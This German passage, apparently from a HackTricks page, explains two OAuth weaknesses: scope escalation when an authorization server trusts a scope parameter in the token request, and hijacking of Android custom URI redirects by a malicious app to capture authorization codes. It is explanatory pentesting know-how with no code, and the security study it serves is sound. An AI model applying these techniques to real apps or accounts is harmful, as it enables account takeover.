Der Typ Authorization Code Grant beinhaltet sichere Server-zu-Server-Kommunikation zum Übertragen von Benutzerdaten. Wenn jedoch der Authorization Server einem scope-Parameter in der Access Token Request (ein Parameter, der nicht im RFC definiert ist) implizit vertraut, könnte eine bösartige Anwendung die Berechtigungen eines authorization code durch Anfordern eines höheren Scopes eskalieren. Nachdem das Access Token generiert wurde, muss der Resource Server es verifizieren: Bei JWT-Tokens bedeutet das, die JWT-Signatur zu prüfen und Daten wie client_id und scope zu extrahieren, während bei zufälligen String-Tokens der Server den Authorization Server abfragen muss, um die Token-Details zu erhalten.

Redirect Scheme Hijacking

In mobilen OAuth-Implementierungen verwenden Apps custom URI schemes, um Redirects mit Authorization Codes zu empfangen. Da jedoch mehrere Apps dasselbe Scheme auf einem Gerät registrieren können, ist die Annahme, dass nur der legitime Client die redirect URI kontrolliert, verletzt. Auf Android wird z. B. eine Intent-URI wie com.example.app:// oauth basierend auf dem Scheme und optionalen Filtern im intent-filter einer App gefangen. Da die Intent-Auflösung von Android breit sein kann — insbesondere wenn nur das Scheme angegeben ist — kann ein Angreifer eine bösartige App mit einem sorgfältig gestalteten intent filter registrieren, um den Authorization Code zu kapern. Dies kann entweder durch Benutzerinteraktion (wenn mehrere Apps berechtigt sind, den Intent zu verarbeiten) oder durch Bypass-Techniken, die zu spezifische Filter ausnutzen, eine Kontoübernahme ermöglichen, wie im Assessment-Flowchart von Ostorlab beschrieben.

References

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Durchsuche den vollständigen HackTricks Training-Katalog nach den Assessment-Tracks (ARTA/GRTA/AzRTA) und Linux Hacking Expert (LHE).

Support HackTricks